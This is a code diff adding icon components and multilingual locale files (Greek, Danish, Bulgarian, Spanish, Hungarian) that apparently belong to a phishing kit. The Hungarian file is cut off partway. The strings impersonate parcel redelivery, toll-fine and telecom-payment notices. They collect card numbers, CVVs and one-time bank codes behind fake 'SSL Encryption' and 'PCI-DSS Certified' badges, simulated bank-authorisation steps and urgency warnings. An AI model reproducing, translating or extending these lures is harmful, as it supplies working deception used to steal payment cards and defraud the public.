2-1L8.553.106zM1.447 5.894l2-1-.894-1.789-2 1 .894 1.789zm-.894 0l2 1 .894-1.789-2-1-.894 1.789zM0 5v2.5h2V5H0zm9.447 13.106l-2-1-.894 1.789 2 1 .894-1.789zm0 1.789l2-1-.894-1.789-2 1 .894 1.789zM10 19v-2.5H8V19h2zm-6.553-3.894l-2-1-.894 1.789 2 1 .894-1.789zM2 15v-2.5H0V15h2zm13.447 1.894l2-1-.894-1.789-2 1 .894 1.789zM18 15v-2.5h-2V15h2z"
/>
</svg>
</template>

View File

@@ -0,0 +1,7 @@
<template>
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="currentColor">
<path
d="M10 3.22l-.61-.6a5.5 5.5 0 0 0-7.666.105 5.5 5.5 0 0 0-.114 7.665L10 18.78l8.39-8.4a5.5 5.5 0 0 0-.114-7.665 5.5 5.5 0 0 0-7.666-.105l-.61.61z"
/>
</svg>
</template>

View File

@@ -0,0 +1,19 @@
<!-- This icon is from <https://github.com/Templarian/MaterialDesign>, distributed under Apache 2.0 (https://www.apache.org/licenses/LICENSE-2.0) license-->
<template>
<svg
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
aria-hidden="true"
role="img"
class="iconify iconify--mdi"
width="24"
height="24"
preserveAspectRatio="xMidYMid meet"
viewBox="0 0 24 24"
>
<path
d="M20 18v-4h-3v1h-2v-1H9v1H7v-1H4v4h16M6.33 8l-1.74 4H7v-1h2v1h6v-1h2v1h2.41l-1.74-4H6.33M9 5v1h6V5H9m12.84 7.61c.1.22.16.48.16.8V18c0 .53-.21 1-.6 1.41c-.4.4-.85.59-1.4.59H4c-.55 0-1-.19-1.4-.59C2.21 19 2 18.53 2 18v-4.59c0-.32.06-.58.16-.8L4.5 7.22C4.84 6.41 5.45 6 6.33 6H7V5c0-.55.18-1 .57-1.41C7.96 3.2 8.44 3 9 3h6c.56 0 1.04.2 1.43.59c.39.41.57.86.57 1.41v1h.67c.88 0 1.49.41 1.83 1.22l2.34 5.39z"
fill="currentColor"
></path>
</svg>
</template>

View File

@@ -0,0 +1,132 @@
export default {
"There is an error in this field, please check": "Υπάρχει σφάλμα σε αυτό το πεδίο, παρακαλούμε ελέγξτε",
"Please enter a valid email address": "Παρακαλώ εισάγετε μια έγκυρη διεύθυνση email",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Αγαπητοί χρήστες, παρακαλούμε συμπληρώστε προσεκτικά την φόρμα για να εξασφαλίσετε την επιτυχή παράδοση",
"Your Name": "Το όνομά σας",
"Address": "Διεύθυνση",
"Detailed Address": "Λεπτομερής Διεύθυνση",
"(Optional)": "(Προαιρετικό)",
"City": "Πόλη",
"State": "Πολιτεία",
"Province": "Επαρχία",
"Region": "Περιοχή",
"Zip Code": "Ταχυδρομικός Κώδικας",
"E-Mail": "Ηλεκτρονικό Ταχυδρομείο",
"Next": "Επόμενο",
"Telephone Number": "Αριθμός Τηλεφώνου",
"Online": "Online",
"Payment": "Πληρωμή",
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "Για εκ νέου παράδοση, πρέπει να χρεώσουμε κάποια τέλη υπηρεσίας. Η αποστολή σας θα παραδοθεί ξανά μετά την πληρωμή",
"lump sum: ": "Εφάπαξ: ",
"Cardholder": "Κάτοχος Κάρτας",
"Card Number": "Αριθμός Κάρτας",
"Expire Date": "Ημερομηνία Λήξης",
"Security Code": "Κωδικός Ασφαλείας",
"Submit": "Υποβολή",
"Click here to receive another code": "Κάντε κλικ εδώ για να λάβετε έναν άλλο κωδικό",
"Please confirm your identity and a one-time code will be sent": "Παρακαλούμε επιβεβαιώστε την ταυτότητά σας και θα σας αποσταλεί ένας κωδικός μιας χρήσης στο κινητό σας ή τη διεύθυνση email σας. Εισάγετε τον κωδικό επαλήθευσης εδώ",
"The verification code has been sent to": "Ο κωδικός επαλήθευσης έχει σταλεί στο",
"Please do not click the": "Παρακαλούμε μην κάνετε κλικ στα κουμπιά 'Ανανέωση' ή 'Πίσω' καθώς αυτό μπορεί να τερματίσει την συναλλαγή σας",
"Verification code error, please try again": "Σφάλμα κωδικού επαλήθευσης, παρακαλώ προσπαθήστε ξανά",
"The session is about to expire, please complete the verification now": "Η συνεδρία πρόκειται να λήξει, παρακαλούμε ολοκληρώστε την επαλήθευση τώρα",
"This card does not support this transaction, please try another card": "Αυτή η κάρτα δεν υποστηρίζει αυτήν τη συναλλαγή, παρακαλούμε δοκιμάστε μια άλλη κάρτα",
"Authorized bank": "Εξουσιοδοτημένη Τράπεζα",
"Please go to the bank App to confirm the authorization": "Παρακαλούμε μεταβείτε στην εφαρμογή της τράπεζας για να επιβεβαιώσετε την εξουσιοδότηση",
"Please do not close this page": "Παρακαλούμε μην κλείσετε αυτήν την σελίδα",
"Payment Successful": "Η Πληρωμή Στεφάνθηκε Επιτυχώς!",
"Thank you for your purchase. Your payment has been processed successfully": "Σας ευχαριστούμε για την αγορά σας. Η πληρωμή σας έχει επεξεργαστεί με επιτυχία",
"Mailing address": "Διεύθυνση Αποστολής",
"street address or house number": "Διεύθυνση Οδού ή Αριθμός Σπιτιού",
"Apartment number": "Αριθμός Διαμερίσματος, Αριθμός Δωματίου κ.λπ.",
"Safe payment": "Ασφαλής Πληρωμή",
"Verification code": "Κωδικός Επαλήθευσης",
"Welcome": "Καλώς ήρθατε",
"back": "Πίσω!",
"We reward you for using point services": "Σας επιβραβεύουμε για τη χρήση των υπηρεσιών πόντων",
"Check your points": "Ελέγξτε τους πόντους σας",
"Phone number": "Αριθμός Τηλεφώνου",
"Inquire": "Ρωτήστε",
"Exchange": "Ανταλλαγή",
"Spend points": "Ξοδέψτε Πόντους",
"Points Available": "Διαθέσιμοι Πόντοι",
"You don't have enough points": "Δεν έχετε αρκετούς πόντους",
"Please redeem your favorite product": "Παρακαλούμε εξαργυρώστε το αγαπημένο σας προϊόν",
"Confirm your shipping address": "Επιβεβαιώστε τη διεύθυνση αποστολής σας",
"Order number": "Αριθμός Παραγγελίας: ",
"Pay": "Πληρωμή",
"Pay Message": "Πληρώστε {0} για να εξαργυρώσετε πόντους για προϊόντα",
"Pay electronic tolls online": "Πληρώστε τα ηλεκτρονικά διόδια online",
"your electronic toll payment was unsuccessful": "Η πληρωμή των ηλεκτρονικών διοδίων απέτυχε.",
"Billing Information": "Πληροφορίες Τιμολόγησης",
"Description": "Περιγραφή",
"Dear customer": "Αγαπητέ πελάτη:",
"Electronic Communications Charge Payment Failed": "Η Πληρωμή Χρέωσης Ηλεκτρονικών Επικοινωνιών Απέτυχε",
"Invoice Number": "Αριθμός Τιμολογίου",
"Amount": "Ποσό",
"Pay Immediately": "Πληρώστε Άμεσα",
"Phone Number": "Αριθμός Τηλεφώνου",
"Electronic communication fee payment failed": "Η πληρωμή για το τέλος ηλεκτρονικής επικοινωνίας απέτυχε",
"Illustrate": "Επεξηγήστε",
"SSL Encryption": "Κρυπτογράφηση SSL",
"PCI-DSS Certified": "Πιστοποιημένο PCI-DSS",
"Transaction Details": "Λεπτομέρειες Συναλλαγής",
"Transaction ID:": "Αριθμός Συναλλαγής:",
"Processing Network:": "Δίκτυο Επεξεργασίας:",
"Processing Time:": "Χρόνος Επεξεργασίας:",
"Security Level:": "Επίπεδο Ασφαλείας:",
"Preparing...": "Προετοιμασία...",
"High": "Υψηλό",
"Initializing payment environment...": "Αρχικοποίηση περιβάλλοντος πληρωμής...",
"Encrypting card information...": "Κρυπτογράφηση πληροφοριών κάρτας...",
"Establishing secure connection...": "Δημιουργία ασφαλούς σύνδεσης...",
"Verifying card number and issuer...": "Επαλήθευση αριθμού κάρτας και εκδότη...",
"Validating CVV code...": "Επαλήθευση κωδικού CVV...",
"Checking fraud risk...": "Έλεγχος κινδύνου απάτης...",
"Sending transaction request...": "Αποστολή αίτησης συναλλαγής...",
"Waiting for bank authorization...": "Αναμονή για εξουσιοδότηση τράπεζας...",
"Processing bank response...": "Επεξεργασία απάντησης τράπεζας...",
"Confirming transaction status...": "Επιβεβαίωση κατάστασης συναλλαγής...",
"Finalizing transaction...": "Ολοκλήρωση συναλλαγής...",
"Visa Secure Network": "Δίκτυο Ασφαλείας Visa",
"Mastercard Global Payment Network": "Παγκόσμιο Δίκτυο Πληρωμών Mastercard",
"American Express Dedicated Channel": "Ειδικό Κανάλι American Express",
"UnionPay Gateway": "Πύλη UnionPay",
"{time} seconds": "{time} δευτερόλεπτα",
"International Payment Network": "Διεθνές Δίκτυο Πληρωμών",
"Homepage License Plate": "Πινακίδα Αρχικής Σελίδας",
"JCC Smart Cyprus Image": "Εικόνα JCC Smart Κύπρου",
"Check Your Payment Details": "Ελέγξτε τα στοιχεία πληρωμής σας",
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Εισαγάγετε τον αριθμό κυκλοφορίας του οχήματός σας για να επαληθεύσετε τον λογαριασμό σας και να εξασφαλίσετε την έγκαιρη πληρωμή των διοδίων ώστε να αποφύγετε πρόστιμα.",
"Enter license plate number (e.g. XYZ1234)": "Εισαγάγετε τον αριθμό κυκλοφορίας (π.χ. XYZ1234)",
"Verify Payment Details": "Έλεγχος Στοιχείων Πληρωμής",
"Toll Payment": "Πληρωμή Διοδίων",
"License Plate Number": "Αριθμός Κυκλοφορίας",
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Πληροφορίες για παραβάσεις κυκλοφορίας (π.χ. χρήση κινητού τηλεφώνου κατά την οδήγηση). Πρώτη παράβαση <strong>50€</strong>, δεύτερη παράβαση <strong>150€</strong>, και ούτω καθεξής.",
"Tolls": "Διόδια",
"Due Date": "Ημερομηνία Λήξης",
"Fine Amount": "Ποσό προστίμου",
"Pay Now": "Πληρώστε Τώρα",
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Σημειώστε ότι, λόγω μη έγκαιρης πληρωμής, αυτή η συναλλαγή είναι έγκυρη μόνο για πληρωμές με πιστωτική κάρτα.",
"Cardholder Name": "Όνομα Κατόχου Κάρτας",
"First and Last Name": "Όνομα και Επώνυμο",
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
"Expiration Date": "Ημερομηνία Λήξης",
"MM/YY": "MM/ΕΕ",
"123(CVV)": "123(CVV)",
"Card Icon": "Εικονίδιο Κάρτας",
"CVV": "CVV",
"Successful Toll Payment": "Επιτυχής Πληρωμή Διοδίων",
"Thank you for your payment. The tolls have been processed successfully.": "Σας ευχαριστούμε για την πληρωμή σας. Τα διόδια έχουν διεκπεραιωθεί με επιτυχία.",
"Phone": "Τηλέφωνο",
"Toll Amount": "Ποσό Διοδίων",
"50.00 EUR": "50.00 EUR"
};

View File

@@ -0,0 +1,96 @@
export default {
"There is an error in this field, please check": "Der er en fejl i dette felt, venligst tjek",
"Please enter a valid email address": "Indtast venligst en gyldig e-mailadresse",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Kære brugere, udfyld venligst formularen omhyggeligt for at sikre vellykket levering",
"Your Name": "Dit navn",
"Address": "Adresse",
"Detailed Address": "Detaljeret adresse",
"(Optional)": "(Valgfrit)",
"City": "By",
"State": "Stat",
"Province": "Provins",
"Region": "Region",
"Zip Code": "Postnummer",
"E-Mail": "E-mail",
"Next": "Næste",
"Telephone Number": "Telefonnummer",
"Online": "Online",
"Payment": "Betaling",
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment": "For genlevering skal vi opkræve nogle servicegebyrer. Din pakke vil blive genleveret efter betaling",
"lump sum: ": "Engangsbeløb: ",
"Cardholder": "Kortholder",
"Card Number": "Kortnummer",
"Expire Date": "Udløbsdato",
"Security Code": "Sikkerhedskode",
"Submit": "Indsend",
"Click here to receive another code": "Klik her for at modtage en ny kode",
"Please confirm your identity and a one-time code will be sent": "Bekræft venligst din identitet, og en engangskode vil blive sendt til dit mobilnummer eller e-mailadresse. Indtast venligst bekræftelseskoden her",
"The verification code has been sent to": "Bekræftelseskoden er sendt til",
"Please do not click the": "Klik venligst ikke på 'Opdater' eller 'Tilbage' knapperne, da dette kan afbryde eller afslutte din transaktion",
"Verification code error, please try again": "Fejl i bekræftelseskode, prøv venligst igen",
"The session is about to expire, please complete the verification now": "Sessionen er ved at udløbe, udfør venligst bekræftelsen nu",
"This card does not support this transaction, please try another card": "Dette kort understøtter ikke denne transaktion, prøv venligst et andet kort",
"Authorized bank": "Autoriseret bank",
"Please go to the bank App to confirm the authorization": "Gå venligst til bank-appen for at bekræfte godkendelsen",
"Please do not close this page": "Luk venligst ikke denne side",
"Payment Successful": "Betaling lykkedes!",
"Thank you for your purchase. Your payment has been processed successfully": "Tak for dit køb. Din betaling er behandlet korrekt",
"Mailing address": "Postadresse",
"street address or house number": "Gadeadresse eller husnummer",
"Apartment number": "Lejlighedsnummer, værelsesnummer osv.",
"Safe payment": "Sikker betaling",
"Verification code": "Bekræftelseskode",
"Welcome": "Velkommen",
"back": "tilbage!",
"We reward you for using point services": "Vi belønner dig for at bruge pointtjenester",
"Check your points": "Tjek dine point",
"Phone number": "Telefonnummer",
"Inquire": "Forespørg",
"Exchange": "Byt",
"Spend points": "Brug point",
"Points Available": "Tilgængelige point",
"You don't have enough points": "Du har ikke nok point",
"Please redeem your favorite product": "Indløs venligst dit yndlingsprodukt",
"Confirm your shipping address": "Bekræft din forsendelsesadresse",
"Order number": "Ordrenummer: ",
"Pay": "Betal",
"Pay Message": "Betal {0} for at indløse point til varer",
"Pay electronic tolls online": "Betal elektroniske vejafgifter online",
"your electronic toll payment was unsuccessful": "Din betaling af elektronisk vejafgift mislykkedes.",
"Billing Information": "Faktureringsoplysninger",
"Description": "Beskrivelse",
"Dear customer": "Kære kunde:",
"Electronic Communications Charge Payment Failed": "Betaling af elektronisk kommunikationsgebyr mislykkedes",
"Invoice Number": "Fakturanummer",
"Amount": "Beløb",
"Pay Immediately": "Betal straks",
"Phone Number": "Telefonnummer",
"Electronic communication fee payment failed": "Betaling af elektronisk kommunikationsgebyr mislykkedes",
"Illustrate": "Illustrer",
"SSL Encryption": "SSL-kryptering",
"PCI-DSS Certified": "PCI-DSS-certificeret",
"Transaction Details": "Transaktionsdetaljer",
"Transaction ID:": "Transaktions-ID:",
"Processing Network:": "Behandlingsnetværk:",
"Processing Time:": "Behandlingstid:",
"Security Level:": "Sikkerhedsniveau:",
"Preparing...": "Forbereder...",
"High": "Høj",
"Initializing payment environment...": "Initialiserer betalingsmiljø...",
"Encrypting card information...": "Krypterer kortoplysninger...",
"Establishing secure connection...": "Etablerer sikker forbindelse...",
"Verifying card number and issuer...": "Bekræfter kortnummer og udsteder...",
"Validating CVV code...": "Validerer CVV-kode...",
"Checking fraud risk...": "Tjekker svindelrisiko...",
"Sending transaction request...": "Sender transaktionsanmodning...",
"Waiting for bank authorization...": "Venter på bankgodkendelse...",
"Processing bank response...": "Behandler banksvar...",
"Confirming transaction status...": "Bekræfter transaktionsstatus...",
"Finalizing transaction...": "Afslutter transaktion...",
"Visa Secure Network": "Visa Secure Network",
"Mastercard Global Payment Network": "Mastercard Globalt Betalingsnetværk",
"American Express Dedicated Channel": "American Express Dedikeret Kanal",
"UnionPay Gateway": "UnionPay Gateway",
"{time} seconds": "{time} sekunder",
"International Payment Network": "Internationalt Betalingsnetværk"
}

View File

@@ -0,0 +1,150 @@
export default {
"There is an error in this field, please check": "Има грешка в това поле, моля проверете",
"Please enter a valid email address": "Моля, въведете валиден имейл адрес",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Уважаеми потребители, моля попълнете формуляра внимателно, за да осигурите успешна доставка",
"Your Name": "Вашето име",
"Address": "Адрес",
"Detailed Address": "Подробен адрес",
"(Optional)": "(По избор)",
"City": "Град",
"State": "Област",
"Province": "Провинция",
"Region": "Регион",
"Zip Code": "Пощенски код",
"E-Mail": "Имейл",
"Next": "Напред",
"Telephone Number": "Телефонен номер",
"Online": "Онлайн",
"Payment": "Плащане",
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "За повторна доставка се изисква такса за обслужване. Вашият пакет ще бъде изпратен след потвърждение на плащането.",
"lump sum: ": "Обща сума: ",
"Cardholder": "Име на картодържателя",
"Card Number": "Номер на карта",
"Expire Date": "Дата на валидност",
"Security Code": "Код за сигурност (CVV)",
"Submit": "Изпрати",
"Click here to receive another code": "Натиснете тук, за да получите нов код",
"Please confirm your identity and a one-time code will be sent": "Моля, потвърдете самоличността си; еднократен код (OTP) ще бъде изпратен на вашия телефон или имейл. Въведете кода тук.",
"The verification code has been sent to": "Кодът за потвърждение беше изпратен на",
"Please do not click the": "Моля, не натискайте „Обнови“ или „Назад“, тъй като това може да прекъсне транзакцията.",
"Verification code error, please try again": "Грешен код за потвърждение, моля опитайте отново",
"The session is about to expire, please complete the verification now": "Сесията е на път да изтече, моля завършете потвърждението сега",
"This card does not support this transaction, please try another card": "Тази карта не поддържа тази транзакция, моля опитайте с друга карта",
"Authorized bank": "Оторизирана банка",
"Please go to the bank App to confirm the authorization": "Моля, отворете банковото приложение, за да потвърдите операцията",
"Please do not close this page": "Моля, не затваряйте тази страница",
"Payment Successful": "Плащането е успешно!",
"Thank you for your purchase. Your payment has been processed successfully": "Благодарим ви. Вашето плащане беше обработено успешно.",
"Mailing address": "Адрес за доставка",
"street address or house number": "Улица и номер",
"Apartment number": "Апартамент, етаж, офис и др.",
"Safe payment": "Сигурно плащане",
"Verification code": "Код за потвърждение",
"Welcome": "Добре дошли",
"back": "Назад",
"We reward you for using point services": "Награждаваме ви за използването на нашите услуги с точки",
"Check your points": "Проверете баланса си от точки",
"Phone number": "Телефонен номер",
"Inquire": "Провери",
"Exchange": "Обмени",
"Spend points": "Използвай точки",
"Points Available": "Налични точки",
"You don't have enough points": "Недостатъчен баланс от точки",
"Please redeem your favorite product": "Моля, изберете предпочитаната си награда",
"Confirm your shipping address": "Потвърдете адреса за доставка",
"Order number": "Номер на поръчка: ",
"Pay": "Плати",
"Pay Message": "Платете {0}, за да обмените точките си за награди",
"Pay electronic tolls online": "Платете електронни пътни такси онлайн",
"your electronic toll payment was unsuccessful": "Вашето плащане на пътна такса беше неуспешно.",
"Billing Information": "Информация за плащане",
"Description": "Описание",
"Dear customer": "Уважаеми клиенте:",
"Electronic Communications Charge Payment Failed": "Плащането на електронната комуникационна такса е неуспешно",
"Invoice Number": "Номер на фактура / известие",
"Amount": "Сума",
"Pay Immediately": "Плати веднага",
"Phone Number": "Телефонен номер",
"Electronic communication fee payment failed": "Плащането на таксата за електронна комуникация е неуспешно",
"Illustrate": "Подробности",
"SSL Encryption": "SSL криптиране",
"PCI-DSS Certified": "PCI-DSS сертифициран",
"Transaction Details": "Детайли за транзакцията",
"Transaction ID:": "ID на транзакцията:",
"Processing Network:": "Мрежа за обработка:",
"Processing Time:": "Време за обработка:",
"Security Level:": "Ниво на сигурност:",
"Preparing...": "Подготовка...",
"High": "Високо",
"Initializing payment environment...": "Инициализиране на защитена платежна среда...",
"Encrypting card information...": "Криптиране на информацията за картата...",
"Establishing secure connection...": "Установяване на защитена връзка...",
"Verifying card number and issuer...": "Проверка на номера и издателя на картата...",
"Validating CVV code...": "Проверка на CVV кода...",
"Checking fraud risk...": "Проверка за риск от измама...",
"Sending transaction request...": "Изпращане на заявка за транзакция...",
"Waiting for bank authorization...": "Изчакване на банково потвърждение...",
"Processing bank response...": "Обработка на банковия отговор...",
"Confirming transaction status...": "Потвърждаване на статуса на транзакцията...",
"Finalizing transaction...": "Финализиране на транзакцията...",
"Visa Secure Network": "Visa защитена мрежа",
"Mastercard Global Payment Network": "Mastercard глобална платежна мрежа",
"American Express Dedicated Channel": "Специализиран канал на American Express",
"UnionPay Gateway": "UnionPay платежен шлюз",
"{time} seconds": "{time} секунди",
"International Payment Network": "Международна платежна мрежа",
"Homepage License Plate": "Регистрационен номер",
"JCC Smart Cyprus Image": "Изображение за сигурност",
"Check Your Payment Details": "Проверете данните за плащането",
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Въведете регистрационния номер на вашето превозно средство, за да потвърдите акаунта си и да избегнете глоби.",
"Enter license plate number (e.g. XYZ1234)": "Въведете регистрационен номер (напр. CB1234AB)",
"Verify Payment Details": "Потвърдете данните за плащането",
"Toll Payment": "Плащане на такса / глоба",
"License Plate Number": "Регистрационен номер",
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Информация за нарушение (напр. превишена скорост). Първо нарушение <strong>100 лв.</strong>, второ нарушение <strong>300 лв.</strong> и т.н.",
"Tolls": "Глоби / Такси",
"Due Date": "Краен срок",
"Fine Amount": "Сума на глобата",
"Pay Now": "Плати сега",
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Моля, имайте предвид, че поради закъсняло плащане тази транзакция приема само кредитни карти.",
"Cardholder Name": "Име на картодържателя",
"First and Last Name": "Име и фамилия",
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
"Expiration Date": "Дата на валидност",
"MM/YY": "MM/YY",
"123(CVV)": "123 (CVV)",
"Card Icon": "Икона на карта",
"CVV": "CVV",
"Successful Toll Payment": "Успешно плащане",
"Thank you for your payment. The tolls have been processed successfully.": "Благодарим ви. Вашето плащане беше обработено успешно.",
"Phone": "Телефон",
"Toll Amount": "Обща сума",
payment_loading: {
modal_title: "Обработка на плащането",
modal_subtitle: "Моля, не затваряйте тази страница",
transaction_details: "Детайли за транзакцията",
transaction_id: "ID на транзакцията:",
processing_network: "Мрежа за обработка:",
processing_time: "Време за обработка:",
security_level: "Ниво на сигурност:",
preparing: "Подготовка...",
high: "Високо",
step_init: "Инициализиране на платежната среда...",
step_encrypt: "Криптиране на информацията за картата...",
step_connect: "Установяване на защитена връзка...",
step_verify_card: "Проверка на номера и издателя на картата...",
step_validate_cvv: "Проверка на CVV кода...",
step_fraud: "Проверка за риск от измама...",
step_send: "Изпращане на заявка за транзакция...",
step_wait_auth: "Изчакване на банково потвърждение...",
step_process_resp: "Обработка на банковия отговор...",
step_confirm: "Потвърждаване на статуса на транзакцията...",
step_finalize: "Финализиране на транзакцията...",
network_visa: "Visa защитена мрежа",
network_mastercard: "Mastercard глобална платежна мрежа",
network_amex: "Специализиран канал на American Express",
network_unionpay: "UnionPay платежен канал",
network_intl: "Международна платежна мрежа",
time_seconds: "{time} секунди",
},
};

View File

@@ -0,0 +1,122 @@
export default {
"There is an error in this field, please check": "Hay un error en este campo, por favor verifique",
"Please enter a valid email address": "Por favor, introduzca una dirección de correo electrónico válida",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Estimados usuarios, por favor completen el formulario cuidadosamente para garantizar la entrega exitosa",
"Your Name": "Su nombre",
"Address": "Dirección",
"Detailed Address": "Dirección detallada",
"(Optional)": "(Opcional)",
"City": "Ciudad",
"State": "Estado",
"Province": "Provincia",
"Region": "Región",
"Zip Code": "Código postal",
"E-Mail": "Correo electrónico",
"Next": "Siguiente",
"Telephone Number": "Número de teléfono",
"Online": "En línea",
"Payment": "Pago",
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "Para la reentrega, necesitamos cobrar algunas tarifas de servicio. Su paquete será reenviado después del pago",
"lump sum: ": "Suma total: ",
"Cardholder": "Titular de la tarjeta",
"Card Number": "Número de tarjeta",
"Expire Date": "Fecha de expiración",
"Security Code": "Código de seguridad",
"Submit": "Enviar",
"Click here to receive another code": "Haga clic aquí para recibir otro código",
"Please confirm your identity and a one-time code will be sent": "Por favor confirme su identidad y se enviará un código de un solo uso a su teléfono o correo electrónico. Ingrese el código de verificación aquí",
"The verification code has been sent to": "El código de verificación ha sido enviado a",
"Please do not click the": "Por favor no haga clic en los botones 'Actualizar' o 'Atrás' ya que esto podría terminar su transacción",
"Verification code error, please try again": "Error en el código de verificación, por favor intente nuevamente",
"The session is about to expire, please complete the verification now": "La sesión está a punto de expirar, por favor complete la verificación ahora",
"This card does not support this transaction, please try another card": "Esta tarjeta no admite esta transacción, por favor intente con otra tarjeta",
"Authorized bank": "Banco autorizado",
"Please go to the bank App to confirm the authorization": "Por favor ingrese a la aplicación bancaria para confirmar la autorización",
"Please do not close this page": "Por favor no cierre esta página",
"Payment Successful": "¡Pago exitoso!",
"Thank you for your purchase. Your payment has been processed successfully": "Gracias por su compra. Su pago se ha procesado con éxito",
"Mailing address": "Dirección postal",
"street address or house number": "Calle o número de casa",
"Apartment number": "Número de apartamento, habitación, etc.",
"Safe payment": "Pago seguro",
"Verification code": "Código de verificación",
"Welcome": "Bienvenido",
"back": "¡Atrás!",
"We reward you for using point services": "Le recompensamos por utilizar servicios de puntos",
"Check your points": "Consultar sus puntos",
"Phone number": "Número de teléfono",
"Inquire": "Consultar",
"Exchange": "Intercambiar",
"Spend points": "Gastar puntos",
"Points Available": "Puntos disponibles",
"You don't have enough points": "No tiene suficientes puntos",
"Please redeem your favorite product": "Por favor canjee su producto favorito",
"Confirm your shipping address": "Confirme su dirección de envío",
"Order number": "Número de pedido: ",
"Pay": "Pagar",
"Pay Message": "Pague {0} para canjear productos con puntos",
"Pay electronic tolls online": "Pagar peajes electrónicos en línea",
"your electronic toll payment was unsuccessful": "Su pago de peaje electrónico no fue exitoso.",
"Billing Information": "Información de facturación",
"Description": "Descripción",
"Dear customer": "Estimado cliente:",
"Electronic Communications Charge Payment Failed": "Error en el pago del cargo por comunicaciones electrónicas",
"Invoice Number": "Número de factura",
"Amount": "Monto",
"Pay Immediately": "Pagar ahora",
"Phone Number": "Número de teléfono",
"Electronic communication fee payment failed": "El pago de la tarifa de comunicación electrónica falló",
"Illustrate": "Ilustrar",
"SSL Encryption": "Cifrado SSL",
"PCI-DSS Certified": "Certificado PCI-DSS",
"Transaction Details": "Detalles de la transacción",
"Transaction ID:": "ID de transacción:",
"Processing Network:": "Red de procesamiento:",
"Processing Time:": "Tiempo de procesamiento:",
"Security Level:": "Nivel de seguridad:",
"Preparing...": "Preparando...",
"High": "Alta",
"Initializing payment environment...": "Inicializando entorno de pago...",
"Encrypting card information...": "Encriptando información de la tarjeta...",
"Establishing secure connection...": "Estableciendo conexión segura...",
"Verifying card number and issuer...": "Verificando número de tarjeta y emisor...",
"Validating CVV code...": "Validando código CVV...",
"Checking fraud risk...": "Comprobando riesgo de fraude...",
"Sending transaction request...": "Enviando solicitud de transacción...",
"Waiting for bank authorization...": "Esperando autorización del banco...",
"Processing bank response...": "Procesando respuesta del banco...",
"Confirming transaction status...": "Confirmando estado de la transacción...",
"Finalizing transaction...": "Finalizando transacción...",
"Visa Secure Network": "Red segura de Visa",
"Mastercard Global Payment Network": "Red global de pagos Mastercard",
"American Express Dedicated Channel": "Canal dedicado American Express",
"UnionPay Gateway": "Pasarela UnionPay",
"{time} seconds": "{time} segundos",
"International Payment Network": "Red de pagos internacional",
"Homepage License Plate": "Placa en la página de inicio",
"JCC Smart Cyprus Image": "Imagen JCC Smart Chipre",
"Check Your Payment Details": "Verifique los detalles de su pago",
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Ingrese la placa de su vehículo para verificar su cuenta y asegurar el pago oportuno del peaje para evitar multas.",
"Enter license plate number (e.g. XYZ1234)": "Ingrese número de placa (ej. XYZ1234)",
"Verify Payment Details": "Verificar detalles de pago",
"Toll Payment": "Pago de peaje",
"License Plate Number": "Número de placa",
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Información sobre infracciones de tráfico (por ejemplo, uso del teléfono móvil al conducir). Primera infracción <strong>50€</strong>, segunda <strong>150€</strong>, y así sucesivamente.",
"Tolls": "Peajes",
"Due Date": "Fecha de vencimiento",
"Fine Amount": "Monto de la multa",
"Pay Now": "Pagar ahora",
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Tenga en cuenta que, debido al pago tardío, esta transacción solo es válida para pagos con tarjeta de crédito.",
"Cardholder Name": "Nombre del titular",
"First and Last Name": "Nombre y apellido",
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
"Expiration Date": "Fecha de expiración",
"MM/YY": "MM/AA",
"123(CVV)": "123(CVV)",
"Card Icon": "Ícono de tarjeta",
"CVV": "CVV",
"Successful Toll Payment": "Pago de peaje exitoso",
"Thank you for your payment. The tolls have been processed successfully.": "Gracias por su pago. Los peajes han sido procesados con éxito.",
"Phone": "Teléfono",
"Toll Amount": "Monto del peaje",
};

View File

@@ -0,0 +1,81 @@
export default {
"There is an error in this field, please check":
"Hiba történt ebben a mezőben, kérjük, ellenőrizze",
"Please enter a valid email address": "Kérjük, adjon meg egy érvényes e-mail címet",
"Dear users, please fill in the form carefully to ensure the successful delivery":
"Kedves felhasználók, kérjük, gondosan töltse ki az űrlapot a sikeres kézbesítés érdekében",
"Your Name": "Az Ön neve",
"Address": "Cím",
"Detailed Address": "Részletes cím",
"(Optional)": "(Opcionális)",
"City": "Város",
"State": "Állam",
"Province": "Megye",
"Region": "Régió",
"Zip Code": "Irányítószám",
"E-Mail": "E-mail",
"Next": "Tovább",
"Telephone Number": "Telefonszám",
"Online": "Online",
"Payment": "Fizetés",
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
"A visszaszállításhoz bizonyos szolgáltatási díjakat kell felszámítanunk. A csomagot a fizetés után kézbesítjük újra",
"lump sum: ": "átalányösszeg: ",
"Cardholder": "Kártyatulajdonos",
"Card Number": "Kártyaszám",
"Expire Date": "Lejárati dátum",
"Security Code": "Biztonsági kód",
"Submit": "Küldés",
"Click here to receive another code": "Kattintson ide egy másik kód fogadásához",
"Please confirm your identity and a one-time code will be sent":
"Kérjük, erősítse meg személyazonosságát, és egy egyszeri kódot küldünk a mobiltelefonszámára vagy e-mail címére. Kérjük, itt adja meg az ellenőrző kódot",
